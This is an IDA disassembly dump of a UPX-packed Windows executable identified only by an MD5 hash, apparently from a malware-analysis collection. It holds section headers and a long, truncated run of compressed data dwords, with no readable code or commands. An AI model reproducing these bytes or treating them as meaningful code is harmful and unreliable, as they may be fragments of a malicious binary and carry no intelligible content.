; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 3F0AD45D1C82D9F67EEAB1E131EFDE37 ; File Name : u:\work\3f0ad45d1c82d9f67eeab1e131efde37_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00079000 ( 495616.) ; Section size in file : 00079000 ( 495616.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 401000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_401000 dd 1E400h dup(0) UPX0 ends ; Section 2. (virtual address 0007A000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 0007A000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 47A000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 2F5D2B86h, 0B0B6597Ch, 14B84A84h, 0AE31BACBh, 3D67D11h dd 56379669h, 37BBF82Bh, 699CC511h, 0CF2B86DCh, 66D795F3h dd 4490BFB6h, 5D2BDC69h, 5C88B899h, 182E29D3h, 2B96AC1Dh dd 0C803D67Dh, 0DFDFD2BEh, 0C9A5CADDh, 0CBD706C2h, 0EC0F8A86h dd 594D31ACh, 0DCCE8F48h, 34DC4706h, 0C82E64E2h, 0C7C72830h dd 5D2B8686h, 7ECDDE63h, 0EEF2EB0Ch, 2BD7B813h, 0DBDC695Dh dd 22C5BDh, 0D30B33B8h, 0C77D2E0Ch, 6ABBE786h, 71D6C2AEh dd 5D2B8D8Dh, 77295469h, 4C308A87h, 0D9102F82h, 203D67Fh dd 65802E17h, 0DC76FC37h, 7D2E69E8h, 0CB6C646h, 551291F3h dd 4B9F30AAh, 3D67D2Bh, 11D56BABh, 68E61C9Eh, 69033F39h dd 568C86DCh, 2338F6CCh, 0CB6E14D4h, 0F49D6B86h, 90D9D9D1h dd 0C0924BBh, 7D2E631Eh, 3AD2AC46h, 47F2C08Dh, 0DCD69646h dd 8A5D2B86h, 94CEACD6h, 93B78D25h, 0D67DC88Bh, 28C26903h dd 969FFF9Dh, 0D9894980h, 0D02B8D5Fh, 8AD5B613h, 3A220C1Fh dd 0D67D2EB8h, 0C10C36ABh, 0F3CE1CFBh, 0D67D202Ch, 8EE86903h dd 0D9CA8505h, 0C389842Eh, 2B86DC69h, 0CD5ECAD8h, 32783A44h dd 0D67D2E0Bh, 2CFECB03h, 0D832F1B7h, 0DC696333h, 0BD24467Fh dd 64909E76h, 974E9802h, 0D67D2A1Ah, 36AD8B03h, 0DDD52F1Eh dd 0EDC2A6Ah, 68C8CD17h, 0DCC4E9F4h, 2FF3C89Eh, 695D8E69h dd 0C2D209Ch, 181B9F25h, 7FDCC784h, 0BD603D6h, 7A8510CEh dd 0B8C9ACE8h, 6903D67Dh, 0ACB75DFh, 0ED3DDEEFh, 86DC6982h dd 9CCDAB2Bh, 8688D9B7h, 8FD82781h, 0DF5E6FBDh, 2DCF88F4h dd 4FB17CA6h, 0E5B09F4Fh, 5C315C3Bh, 0B0B0B22Ch, 4ED81530h dd 0E7B04F4Fh, 6B56CFDAh, 7083F04Eh, 0D90D3DE9h, 991B43A8h dd 0D6974DD4h, 0E7E91A1Bh, 9FC7070Eh, 77ACD59Dh, 0B14FDC35h dd 0DF1B024h, 9EDB8F4Ah, 4FE0AD3Dh, 0F705ACA5h, 0B8CD33B0h dd 5DCFC4ABh, 976FFF6Fh, 6158E028h, 2D3455B2h, 0D33DEC4h dd 69B5F8C0h, 0C56EDF4Eh, 0B1C4A1D9h, 0F53DD0C5h, 4508D830h dd 0A0C0B0F0h, 46AD2D06h, 0FC35E9C6h, 0B8C54FFBh, 861CD8C5h dd 56DF01A7h, 0B3D84C4Dh, 90FCB0B1h, 0E0B1DA93h, 0B66FCFFDh dd 0CCD8907Dh, 33D5B066h, 0C53F9874h, 407082B4h, 7947BDA5h dd 0B7B10073h, 0F45C3397h, 0CEE6CBD6h, 0F5774CF1h, 0CA5464Ch dd 4004B84Eh, 0A3CCABD0h, 6CDA0CD8h, 0C5D8FE02h, 88DAC3B7h dd 6CA444E3h, 35B1B403h, 4C78AC71h, 7C63C14Dh, 0B9E71CBh dd 0A839B0DAh, 0BCBBA026h, 0A848887h, 0F64796CCh, 9B7B7B4h dd 1BEF19BCh, 6E4F324Ch, 0E6E3E16Ch, 83E7E93Bh, 30D8E74Fh dd 0E7B3DADCh, 6FACEE3Dh, 0E78D0FB7h, 0E330A6D8h, 39B4E64Fh dd 90363D2Dh, 0CDE7E76Ch, 0ADC9EF6Bh, 0BCE601B8h, 0C58C078Dh dd 0A0E67AA5h, 4D0D55D0h, 0D0D8A6BAh, 0A4E65A5Ah, 4CAD625Bh dd 714C8483h, 0A83AE7DDh, 0EB3DEEEFh, 0B0B47279h, 0A324A835h dd 804B73ACh, 0CD0B97B4h, 0E8AB8EB8h, 3B0FF046h, 0BA044885h dd 94F8D848h, 0B35F6E62h, 88D866B9h, 643539BEh, 98AA4F61h dd 0C2C2C2C2h, 0B86CA868h, 0C2C2C2C9h, 4454B050h, 0ED567145h dd 6DB898A1h, 95C9B66h, 3B371E71h, 40D49373h, 44C16E4Ch dd 0CC3D9Fh, 54D85FB7h, 60C65E2h, 6F2ABF70h, 4401BC31h dd 0AFBF4F9Bh, 8B688440h, 4E61D242h, 4CED396Fh, 0CC1734BFh dd 60A7860Eh, 0E102BE4Bh, 85C7E66Ch, 0C2A421ADh, 365E5FC6h dd 66250CABh, 4D44E535h, 36D1CE9Ah, 0A8EB90E4h, 0BAB3900Eh dd 514BB7B4h, 0BDA0E7BEh, 448D3BBBh, 0AF46330Eh, 3D67406Ch dd 0E14448FDh, 0E6583D3Dh, 3BE3E0E1h, 0D300B8ADh, 4F4D870Bh dd 0A15A0E63h, 5E3166F0h, 0DBBFA248h, 35F33347h, 0D167B69Eh dd 0E6E048CFh, 0CC0480D8h, 92E70CEAh, 92081D63h, 2F1ACE35h dd 5B6CEEB9h, 7CD88Ah, 0E9DFB099h, 7E8403Bh, 0E033AC5Fh dd 0EDBAA8B9h, 0D9444CA5h, 0B5D19046h, 0ACE0FC6Fh, 0C6803639h dd 5A906EF2h, 61C561F7h, 732BEE12h, 5463E453h, 83B53EF3h dd 2E4A1CD1h, 5C4CAF13h, 0E9AD3AEAh, 4B3BB58Ah, 35BFE929h dd 3BDE3A2Bh, 0F8F00423h, 0F315B14Eh, 36EEE391h, 1C9C1A09h dd 1F663175h, 524F4D2Dh, 3D40CD96h, 0A5DA1CCDh, 0C41543E9h dd 3AFD3BD1h, 0C25C07B0h, 85752D24h, 5B954FA8h, 6BCB0E3Dh dd 7B1CC565h, 4C3BE6E4h, 0B9D1A083h, 0C8B7E0BCh, 1A037669h dd 5BDCAFB0h, 0CAA411ACh, 0C5CF5306h, 0BCF53BA6h, 0C2476CD8h dd 8AE6BCC0h, 4061F8F7h, 0E86DAA10h, 87653EC9h, 0B258BBD7h dd 0ED896B83h, 9DF2C0C0h, 502B656Ah, 864FD6C4h, 67685041h dd 0E622D40Bh, 0BC6BBFAEh, 967ABC90h, 80542989h, 22188809h dd 0E8FEF923h, 54D4D027h, 5B36D6CBh, 0B0568398h, 0C2FC2CA4h dd 0AC917C2Bh, 9479C40Bh, 0CC132397h, 916AF322h, 0A8413878h dd 0F32AF124h, 0BDD8E42Ah, 731317C0h, 0EDEC54Bh, 3BA54A2Ch dd 9BB7790Fh, 6E9FA7C9h, 0ACB594C5h, 14BCC7F2h, 4DB8997Ch dd 579BBFA2h, 3FA8C788h, 4BEC28D8h, 0DC23084h, 0F7A4F5C1h dd 97870FC0h, 5B24AC37h, 0E43CD86Ah, 0DC635BB2h, 0D5BCFEF8h dd 906BBA5Ch, 0AB078C30h, 0C79186D1h, 908914D0h, 4A4D67Fh dd 0BEF8ACB8h, 0B813B7BDh, 0A9B730E3h, 0DFDD7989h, 0B661F491h dd 0FEA843E0h, 98C7096h, 71F33F35h, 0F63BCD31h, 0E8738BB4h dd 0E02C34B2h, 0CF6E7FCFh, 0AC318381h, 884CAD38h, 6FBB0F1h dd 3E94AD84h, 0F7C956BEh, 0E884DC1Dh, 0BC5F4BA8h, 0B57699F3h dd 0C64FB1EEh, 0A0A80EB4h, 0E39D0C37h, 0E93E5BE6h, 0D9C237E9h dd 824BB078h, 0A039E465h, 3E22C282h, 0B158D8AAh, 0F254BEC0h dd 0A4B167FEh, 0F5C48B7h, 22349DB1h, 0C5B4EE89h, 4C5B5EA5h dd 446889B9h, 0B15CD09Eh, 0E20B9F1h, 0B8673D5Bh, 0C8C9BE72h dd 0DBE0A0C4h, 29F4694Bh, 6970979Dh, 9F738B6Dh, 0CA574DFh dd 0E0F92EB9h, 47A8CBF8h, 9A402BEDh, 0A817A8C2h, 70DF274Dh dd 6877B256h, 676E5C8Dh, 1E29B9DAh, 0E946B0EBh, 0A1E24947h dd 8B8EE237h, 0AC35E1D0h, 19B884D4h, 30FF5F3Ah, 39A8578Fh dd 0A18C9C35h, 54F539ACh, 493394BBh, 0A1509CA6h, 774F8041h dd 8B3A488Ch, 20C03D3Dh, 8308FD39h, 0FBC4D79h, 0AB4891CBh dd 7704E5DAh, 359E70F5h, 0FF837125h, 7C6B34C4h, 0A4FDE1FBh dd 74ED3971h, 0C889DFA0h, 0DF2A78B5h, 4000EB8Ch, 97709C4Dh dd 0D84F9CF6h, 0E3F7A0F1h, 48A4AFE3h, 0FD6C15C3h, 0C79D900h dd 0C93139F3h, 0AB2004Fh, 58FD82C4h, 82DABAC5h, 98D85C8Fh dd 415B007Eh, 77B83EDBh, 7D366935h, 8C5E641h, 0BEE267A0h dd 0BD0EF56Bh, 0D7DB2956h, 9C8F0D54h, 0A6438C47h, 0FBC3DBF3h dd 787BB8A1h, 0BCF20282h, 0BB80A089h, 278200C7h, 40011BECh dd 0D5F2653h, 6B03FC0h, 8D0FA1B3h, 86CD08B0h, 0A6CE7CEBh dd 0C049B875h, 14964D8h, 6B32D39Ch, 0DCE5BC96h, 607007BFh dd 2A9EABADh, 78A7BC0Ch, 0B3483334h, 0CBB6C3D2h, 81BFDF6Fh dd 8CDABEE8h, 0C6718BE9h, 0FD04FD93h, 2E7FF7A0h, 89BDF50h dd 0AA97BF08h, 0BB82E9BFh, 406EAE33h, 894F17BFh, 649EF8ADh dd 8BC4B8EDh, 29AFC069h, 3BA647DEh, 703352BDh, 33692160h dd 0CF87460Fh, 0F54F8C9Dh, 0C5A889B8h, 3BA45B52h, 7CCB78A6h dd 0B76179DBh, 3B8C5C37h, 0C10BC939h, 0D3A3C500h, 89100DECh dd 0C514B7FAh, 0A48757BDh, 4A8BB963h, 28ACB020h, 63E1819Ah dd 3DBF884Ch, 5485958h, 1E8FB785h, 664FE94Eh, 16400F29h dd 72331B7Fh, 86A74AB9h dd 0C5CF5D70h, 5F5B96B5h, 9CAE3E2h, 81D93790h, 6DA0DA86h dd 8BF3F154h, 68687E68h, 0A4DBECA3h, 4D5EDAF1h, 96C80378h dd 47A4B8E7h, 0B770AB68h, 9EECD339h, 0EBEB788Eh, 5D87C5D0h dd 0F6B02FE0h, 0E4472126h, 3DE826A1h, 715620ECh, 0C31C34E9h dd 87DCECB6h, 0C4DC6B43h, 5BB1DAB4h, 5BB2A0A0h, 0F7C4DCB7h dd 8F38C8C1h, 0ECC53B43h, 860CA1E8h, 0FA10319Bh, 9C2C60C1h dd 8390ABEEh, 0D3801FB4h, 0C539EBA8h, 8C2663BDh, 88A50ADDh dd 0CA88B294h, 4848513Fh, 37A8FD3Fh, 3CB80FEEh, 1BE70C9Ah dd 0B8C7E05Ch, 40E84A66h, 8EAC67B7h, 31B9AA63h, 0E84F40D5h dd 0AF30A55Bh, 0B7948F0Ch, 42D533D6h, 0B49AB9A7h, 0A543D530h dd 0D1D35F24h, 0F8E94011h, 0A794A18Fh, 0C47E900Ch, 154F83D2h dd 0C1C6BCB3h, 0EF79B380h, 3E2BC85h, 819CCF4Ah, 4B01C780h dd 0C3ED38E9h, 0BFCF3EBFh, 0AC11C65Ch, 76BEC70Ch, 4EF5C8B0h dd 3277C3F5h, 0ED9B14Fh, 7F8BC3FDh, 0A1326DCCh, 1B4C7300h dd 4A6865DBh, 64BCCD3Bh, 1158F59Ah, 40CC08A4h, 70D977B7h dd 0B561B138h, 0CD394DC2h, 45710D40h, 684F9953h, 0EE400837h dd 0B47346B7h, 0BC5008B7h, 0CB57837h, 744B8726h, 8ABC40Eh dd 910004B5h, 97EC8279h, 0C90BBF5h, 7954BEF8h, 0CA3B790h dd 0D52080D2h, 0B80150EAh, 55436EF6h, 0A190B439h, 10B36830h dd 499531B0h, 0E0AE62Ah, 941F80C3h, 0E9B48E24h, 45F2A1C7h dd 0ED2B48F0h, 0C2BD0A92h, 0A9E0EF20h, 0B7B4A0B4h, 2ACC4151h dd 4EDDA4A1h, 0F92810B3h, 9065DDCEh, 0A97CD84Ch, 888CD8BCh dd 540F9011h, 0A408D8A0h, 0C18748D8h, 55D0A320h, 1AB30305h dd 0A8B454B3h, 0D7981E62h, 0BECCB046h, 0B05DACBEh, 0B3C9A925h dd 379888A4h, 1D663650h, 0B540F0E8h, 6AB8CE3Bh, 0BB0E4710h dd 0E708090Ch, 0A0AC743Ah, 92E0240Fh, 71F08147h, 0DAA6BCD8h dd 8D70F3C2h, 0B236F2BCh, 0B230AC2Dh, 0EFC5ACD3h, 0C35415D5h dd 0B20BC2C9h, 0B8C6B202h, 169848BCh, 8228B670h, 368D2805h dd 0AD0A3BAh, 0A28394D3h, 68ECC20Ch, 5D9CD8DEh, 71B8E12Ch dd 0EA4952E0h, 8ADDB0B2h, 806935CEh, 0C981796Ch, 69748B8Ch dd 0B4EB89A9h, 0A8594668h, 0A99F93E0h, 5C701321h, 0A2B87D46h dd 0E59ED2Ch, 0E9AB54DAh, 8CC7B146h, 3F6C3468h, 0B4856B44h dd 1CE48947h, 439CD32h, 2275F4B1h, 0C7743C57h, 33A41FA5h dd 43657A51h, 933063E9h, 0D8B53771h, 67657890h, 67521EB1h dd 70D7F03Ch, 0ED2B35Bh, 991512Ch, 42406972h, 9CBCA458h dd 0EE79B3B7h, 58F3A3A1h, 16F4B3A2h, 2E5DC772h, 0FCD05007h dd 0DCE6C4CDh, 2D2181A0h, 9DA24350h, 0B8C50DB2h, 0C55BB8C1h dd 0BE7310CFh, 4FB4B423h, 0A2E8D880h, 0FEB552C3h, 4119B291h dd 40260D8h, 3843EBEh, 79A39B4Ch, 40E3C18Dh, 87119031h dd 0ECC47F66h, 0AE4F68E6h, 0AB8D4D6Ah, 4E3386CCh, 0EC81CDB2h dd 0FE7706BEh, 0B687B1BAh, 67DEC554h, 0DD54A908h, 5B1CBA9Eh dd 0CEC9292h, 5720D6BDh, 17CFAA0h, 655C3B6Fh, 0A4C55B5Bh dd 864FB126h, 29337314h, 48370D6Bh, 0AAEEAF19h, 7E10D191h dd 8F67B3F1h, 2E36A425h, 0B160E5EEh, 946FE7E6h, 23DA8EB1h dd 0BF3A02BAh, 6F7FB1F6h, 3486E734h, 0E7488396h, 7083A0E9h dd 4F4E1E1Eh, 0B8CE4635h, 0F088B480h, 48CC768Bh, 33879430h dd 0B073B377h, 8D11B07Dh, 49C2E6F4h, 74614F6Eh, 0E06B83E7h dd 0A1764F83h, 0BE75B7BAh, 279E9076h, 0F877557Bh, 9B79BB78h dd 937BBC7Ah, 0EC09C255h, 977D8A7Ch, 0EE7F987Eh, 7B279E49h dd 0AE619A60h, 0EA639D62h, 27AB64CFh, 65C2557Bh, 67FC66BFh dd 69A668F4h, 0E9077BB4h, 6BE76A9Eh, 6DAFA16Ch, 0EC096EE3h dd 6F88279Eh, 51BD50A3h, 0CC9552A2h, 53C2552Bh, 558054ACh dd 57A7E056h, 0C2557BFFh, 59895809h, 5BF25AA0h, 0EC095CAFh dd 5D87279Eh, 5FF15EADh, 889C40E5h, 41D60773h, 0E843BE42h dd 8744ED38h, 30DAB10Eh, 39A3A771h, 570348F5h, 0EB6B9437h dd 0AA209A6Ah, 0BFE14D0Ch, 0AC2631C7h, 3438D609h, 71EBFAB5h dd 4F374B6Fh, 468344C2h, 0C548CD8Bh, 0F43AA5B2h, 83F7748Dh dd 8BF6D285h, 5BCB701Eh, 0D558C241h, 3A2E089Bh, 3738D24h dd 3BEE475Fh, 8D3C3A91h, 91043D8Eh, 0F5B36AB3h, 4FCECD2Fh dd 0FD39F778h, 1E4F314Ch, 3DBD2C3Ah, 0AE38BD3Ch, 0EFCFA138h dd 74C27688h, 4C21CDF9h, 0FFC648B5h, 0D6D5CFF7h, 2748936Bh dd 193A33F6h, 433B6893h, 0C94E464Eh, 0C53985C5h, 0BA9384Ch dd 38486D85h, 4EB93AA6h, 3B175FC6h, 0B37B7AB3h, 0BE801DF5h dd 0E2ED8BF3h, 135F3064h, 7B01C289h, 3F98C4FCh, 0C7CC3B9Dh dd 0D7583AB5h, 0C6599B4Fh, 8E8430A0h, 0AFF6E767h, 0C2E9408Bh dd 0AC8D0A40h, 5944B133h, 100FE6EAh, 0EFDFF72Bh, 0E9DBE6B5h dd 0E6B030E0h, 20361C0Fh, 9F9CC6B1h, 0B8D40C00h, 5C64F2A9h dd 0B1BFDF5Fh, 8B84B80Fh, 0F90CE6Eh, 4F8C4CA0h, 0BCF5Fh dd 0C1A08F87h, 0FBB47733h, 0F53B55C5h, 1B5176FDh, 3EBF5301h dd 900FA46Dh, 3DB8F558h, 0DCDCB02Fh, 0D7FDCB68h, 0D3E3D5E3h dd 6A06204Bh, 0A8EF3DB3h, 0B29A9AE1h, 8A96F029h, 0B92096F6h dd 0C6D4E2D4h, 0F0ADB24Ch, 4F207731h, 35BFB8FDh, 0C30DF9Bh dd 1C8D2CA0h, 0AD0EC34Dh, 1B6936F3h, 0E69F804Eh, 10D2ED4Eh dd 7973313Ah, 0E6B04F80h, 5B03F58Ah, 403B80DAh, 0B2EEEEB2h dd 154FA0A1h, 9B65B1DAh, 0EF251776h, 580C0839h, 0F2D89C35h dd 31ABEF30h, 9D28C58Eh, 0C9AD4A64h, 0B473192Eh, 6B832C78h dd 0B8E2141h, 93B0E38Dh, 4FE79885h, 0B048E8A5h, 475FACFBh dd 0C634BFABh, 0A10B06B4h, 0B2DAE3B0h, 340DC1B7h, 0F0A418BBh dd 778BE140h, 0BF4E4A2Ch, 89FCC3F5h, 9EC578EDh, 900814B9h dd 358B7FE3h, 3D7BBDBAh, 56F974E1h, 4FA46D42h, 97944BD0h dd 0D6C7395Eh, 67655CA5h, 39C19AB3h, 0E981247Dh, 8546747Dh dd 27B0F041h, 0F89A650h, 46FB36B0h, 4471958Dh, 0B45EE2E7h dd 0A1CEB488h, 2AB2B2D8h, 7D0B7B48h, 1EBCBCB5h, 9F7C8C97h dd 604A35Ch, 608132D0h, 489783E3h, 0D9D2CF4Eh, 0E64589Eh dd 0C37F8B4Ch, 9B773B92h, 0BF5C8B71h, 0C6C74D15h, 0E1313BB3h dd 371B354h, 7C6B40C0h, 0F5B18012h, 37C773E7h, 256F9BABh dd 624B934Ah, 5EB35809h, 0A7414754h, 0C308783Bh, 4C8DCD40h dd 483BA3F1h, 0C90E548Fh, 90A071F8h, 0BDE98009h, 3991504Fh dd 440B40CDh, 0E140DD6Fh, 0AA4CF7E1h, 6CAA04B3h, 0AC6DDD63h dd 62A8E194h, 3984A65Eh, 998C85FDh, 9E785837h, 948454h dd 0A7A59C3Fh, 18C68CECh, 3B82B1FFh, 0B2F91CCDh, 603BFB02h dd 6E4B643Ah, 0AF63B433h, 81BF86B8h, 0D2217833h, 3373E865h dd 203DCEC3h, 1F90D3ECh, 0F4DAA594h, 0AF946352h, 0DA4E7C49h dd 8E64F57Fh, 0A1166D06h, 6F47A8A8h, 0E349F3E0h, 0EFCB4FABh dd 33CB8F20h, 77A54B57h, 0F57797B5h, 86C91650h, 48A340F4h dd 0D39D6B1h, 0DEB78098h, 887CA3D0h, 91DCA189h, 819AC8C8h dd 3DD08FC9h, 4A4C89B9h, 7247BAA8h, 0E718DBA6h, 96C59BC4h dd 0BC200C8Bh, 68C16C00h, 805B74E9h, 1AD9B4D9h, 0C15164FAh dd 607C9A98h, 0DA6B776Ch, 0AEB6178Ch, 300968CCh, 2D38F9E1h dd 5E66AD1Ah, 0A0095108h, 3B4966BEh, 4776B842h, 0BE48BA47h dd 4BC630A9h, 3BE6EE41h, 4771A67Ah, 285BA46h, 0A35AAF50h dd 47E9ADC8h, 0B8E539D5h, 3B3385C6h, 61463F33h, 0C44A6008h dd 0E7B878A3h, 5E6897E9h dd 0A870E02Eh, 7A66AB55h, 0BC7CB900h, 81E22619h, 855DB6BFh dd 0E300D87Bh, 9CC46421h, 0B91323B7h, 681D64B9h, 97A7205Ch dd 5968937Fh, 0E1AA96D5h, 2B81F6BCh, 2CE137C1h, 5398B3Bh dd 2D2DAF98h, 1E206E9Bh, 0E3EB98B4h, 4F4085FDh, 0C58D3317h dd 337083F1h, 0BFB100CDh, 11E07024h, 8DBB2320h, 2C0D80Dh dd 0A7A4A0B8h, 60B88999h, 0B8E5E1F6h, 765CC4ACh, 8851915Eh dd 0E1D7797h, 0DB3BAF0Eh, 8DE612F5h, 12191D11h, 7C2BECEDh dd 0F03638B1h, 0DC970294h, 1EBBCDD3h, 9A73F97h, 0B0A623D0h dd 0B17EA3C9h, 8712D80Ch, 8AE958D7h, 84729E29h, 0ACDB9985h dd 7256A3Ah, 0B81FF09Bh, 854F20B2h, 7089BAF1h, 0B4CBBB4Bh dd 33A0CAA6h, 0B7B048D5h, 938FE04Ch, 0F577FE8Eh, 44BDA040h dd 0BFB8A2E8h, 27D43570h, 0C50E99C0h, 0C872FFB9h, 0D869E6ECh dd 5C8B5C9Eh, 3CD89C4Eh, 0E7845DEh, 3C762ECEh, 58619F44h dd 55F1B3CCh, 0D242E8F1h, 514E484Ch, 53EF6BF6h, 0B85C4EEh dd 0B7D03F3Dh, 0D84EE49Eh, 0BA18F38Ah, 1506A00Ah, 9323982h dd 55A70359h, 0ECD8CD51h, 0E988F01Ah, 508ECBB6h, 380B40C9h dd 38EFBD8Fh, 29A280BEh, 8AAFA085h, 9CB2F237h, 2E1582ACh dd 4B6919B6h, 0A4D61CDFh, 64134476h, 0B797F588h, 28E497D5h dd 4730C575h, 0BCACAEE4h, 0E0F4E9Eh, 0E7720E31h, 53C8E5E6h dd 0D91677BAh, 0BAA54C5Eh, 0FBC4723Eh, 0AC0C2A4Eh, 72FEBE01h dd 5B205748h, 48FA5050h, 4851AFE5h, 9AA9CDB3h, 18AD3104h dd 48F5EA86h, 13645B77h, 75B2EEA5h, 0F72EBEB2h, 6B0A0A0Ch dd 323008B5h, 0B171A213h, 2C13D033h, 0EE840D6h, 0CEEA4924h dd 0B8276C87h, 0F5804EDAh, 8BCBBBC8h, 0AAB016C4h, 0EBFE4C32h dd 0F18E0099h, 0B920F06Ch, 0F03BDFC8h, 80C13BBCh, 4911F6CBh dd 582175BDh, 89A4F187h, 0D852EF04h, 3CE3920Eh, 0B340D894h dd 0B293B4F2h, 8477B37Ah, 0EDD2914Fh, 3DBAB850h, 474C8DEBh dd 99E94378h, 67BE4EC4h, 9CF03D3Bh, 0D869D6C2h, 0DA81C664h dd 830633B6h, 88338CBh, 1ADECAE9h, 0BA0E5DEh, 0FDF17307h dd 0D8D37B08h, 2AB9C97Ch, 1C7F88EAh, 70375034h, 0D55AC487h dd 0E631D43Eh, 978EAD39h, 9C5AFC48h, 3BC7E963h, 0CD34F27Eh dd 0E3A29D09h, 0E1C59EADh, 0EC0BA411h, 3B8D2CB5h, 0D990F748h dd 890CA44Fh, 0A6F51730h, 0B6A32AFDh, 0AB9F78CEh, 0B7A6D751h dd 373DB5DAh, 12E84C90h, 7723B83h, 7E19780h, 0CCE16547h dd 0ABE8D8B1h, 0F8EC112Fh, 0F862B589h, 0C571C24Bh, 9A5987BBh dd 0A5B54F41h, 0B1700478h, 9AD01810h, 0B9093012h, 445FBB08h dd 3BE64FF4h, 0ACD63341h, 0D63014C5h, 0F5B8A97Bh, 0B04E35AFh dd 0B1B5F676h, 3B0F763Bh, 0B68AACF1h, 0EC6F6556h, 3B983BC5h dd 95B494F4h, 359CB070h, 85E53DF3h, 91AF94CCh, 2DCC6864h dd 9A307758h, 48EFA376h, 67CC0EF4h, 51CE7E8Dh, 0BDDF48C6h dd 0A6E18AA8h, 0D9583B6Eh, 2FFC0B43h, 9B1AA7CEh, 0C75B8B58h dd 865E47BDh, 0CBE84D2Bh, 0EE8760C7h, 0C558D0E3h, 0E5E0759Bh dd 40A16DF7h, 1B4647A6h, 0BF8F39B4h, 94346CB6h, 5882A86Bh dd 38AC18EFh, 0EBEDEE5Bh, 0F8B2B411h, 35563545h, 0A0664CA4h dd 430644A7h, 56837AAh, 1EE0099Fh, 99ABC02Eh, 0ADBC46AEh dd 0B3621A48h, 8D52F0D8h, 7333A0E7h, 89148D14h, 0F61B4CEh dd 93C46F64h, 0A9C5B8B9h, 393472DAh, 0C839B8F6h, 0CD4FBD83h dd 8831BB0Ah, 3BB8A63Bh, 685BB8C6h, 8588A42Ch, 0A012B5CBh dd 0F069B48Dh, 58EFA4B9h, 0B639A84Ch, 0BC72A8E0h, 62E37B0h dd 0F62DE252h, 0AC6199C5h, 0C65CD033h, 98279D1Ah, 90330CE9h dd 5E44A3A4h, 0B8D050BBh, 0B95BAC29h, 9CE0B6A8h, 4FFE5EB8h dd 81096CB1h, 1B72EC21h, 3B4BE0A0h, 0C3092B6h, 8697B95Dh dd 0C5BDE6E9h, 75CFADB4h, 80085E32h, 0B088307Eh, 94B5A4C4h dd 975EF7BAh, 0C88D5F48h, 5ECCAF8Ch, 0EF4F7833h, 0D9471934h dd 6AE99E46h, 3D4C4B32h, 0AE77E636h, 0F9A5F2A8h, 0E494B326h dd 36EB3B66h, 0EE7745B8h, 0E3D90B5Bh, 0BFB84B69h, 8E0E787Bh dd 92E61686h, 7E466DEh, 0F63D1A96h, 0B79CEA2h, 56A3BF5Bh dd 0A8C49495h, 83507631h, 31D9B971h, 0EE06DB4Eh, 0B2C0CAEBh dd 7B09DE2Eh, 5E5BB758h, 0D8A88D53h, 0DA300E2Dh, 0B55E19A2h dd 0C7365F92h, 0E6A3A920h, 366AB612h, 65A2830Ch, 64C1E503h dd 783A6943h, 28DFB514h, 30EF3650h, 0C4D5B003h, 806B0585h dd 0DD711CC6h, 0D10F7DAEh, 95C237D9h, 0B25BEF76h, 75EBF6A8h dd 63EB7083h, 912209C1h, 0A0BCB829h, 0BB23BC87h, 6207DFA4h dd 0BE4071D3h, 0E34758D9h, 3F93D6EBh, 8DBFC5FBh, 0D6735FDDh dd 0E5BC07A6h, 0DCE3E573h, 1C9C1F45h, 3B2CA54Ah, 46ECD849h dd 289EE7E5h, 8303F332h, 8CABD56Bh, 13A2F83Dh, 5BA0CE71h dd 0F9FCD8E3h, 39B57165h, 8C93A00Dh, 0E1F3FFDDh, 0BC9EDCFAh dd 0F590E571h, 405B32AAh, 0E33FFE26h, 2F7600C0h, 0B4CB3065h dd 0D8FF6ED7h, 4DB35B67h, 0D7E2E7A0h, 67F2BADDh, 0A3DB0595h dd 0C8EF36F1h, 2740D832h, 3B48B3C3h, 968DDFB5h, 0B7B6696Ah dd 0B582F48Ch, 0A45C33F7h, 0B230D2B3h, 15130B8h, 61490083h dd 33E7B037h, 0C58F0C8Dh, 428C55ADh, 0F7B713A3h, 80D88D10h dd 88E7A8C5h, 0FF53DFF6h, 0B2C8B7B1h, 418C6A15h, 0A20AC469h dd 7FE10D2h, 97897E73h, 7B91707Eh, 707AC3DAh, 0F398F350h dd 5CF577D6h, 0CC955121h, 0D628BA09h, 495EF539h, 0F60EC09Dh dd 0A43F8606h, 9B51278Eh, 0ECA85CA8h, 83EDA438h, 51A0E752h dd 8F81A291h, 0D7B8137Eh, 6AF648E5h, 0C20413ABh, 879AD067h dd 5DB84098h, 9FB1B1B4h, 0B2701351h, 0CD33B1D3h, 65120BACh dd 0D896ED48h, 0ACC53C30h, 0AAA341h, 0D8D1A4DBh, 5A869A24h dd 0F07EE60Eh, 382EADD0h, 6D24CB95h, 0A4FB4C34h, 4594C0D8h dd 48ECA55Fh, 797157D1h, 0A3DDA872h, 97D2376Ah, 10D897C4h dd 33D4E642h, 0E9721751h, 0B0B5B77Ah, 0D3FE44E9h, 0E4FCA867h dd 0A3804FEFh, 620719A2h, 3EB9E13Fh, 0BCB741B1h, 0F7BE06FDh dd 0BCDF3EF0h, 3904D827h, 7FB82A0Dh, 1CD8B790h, 30F63A93h dd 0B50ABC3Ah, 91F50D91h, 0B4B01798h, 0C8EE0B23h, 0E7FD4610h dd 0C5B064DAh, 8B714FD8h, 47992B08h, 33483B70h, 0B7356995h dd 72644736h, 14303F93h, 7DB0FA8Dh, 0EBA22FBEh, 0B9B25FD3h dd 39BE0C5Bh, 38133231h, 0E0A3E1B1h, 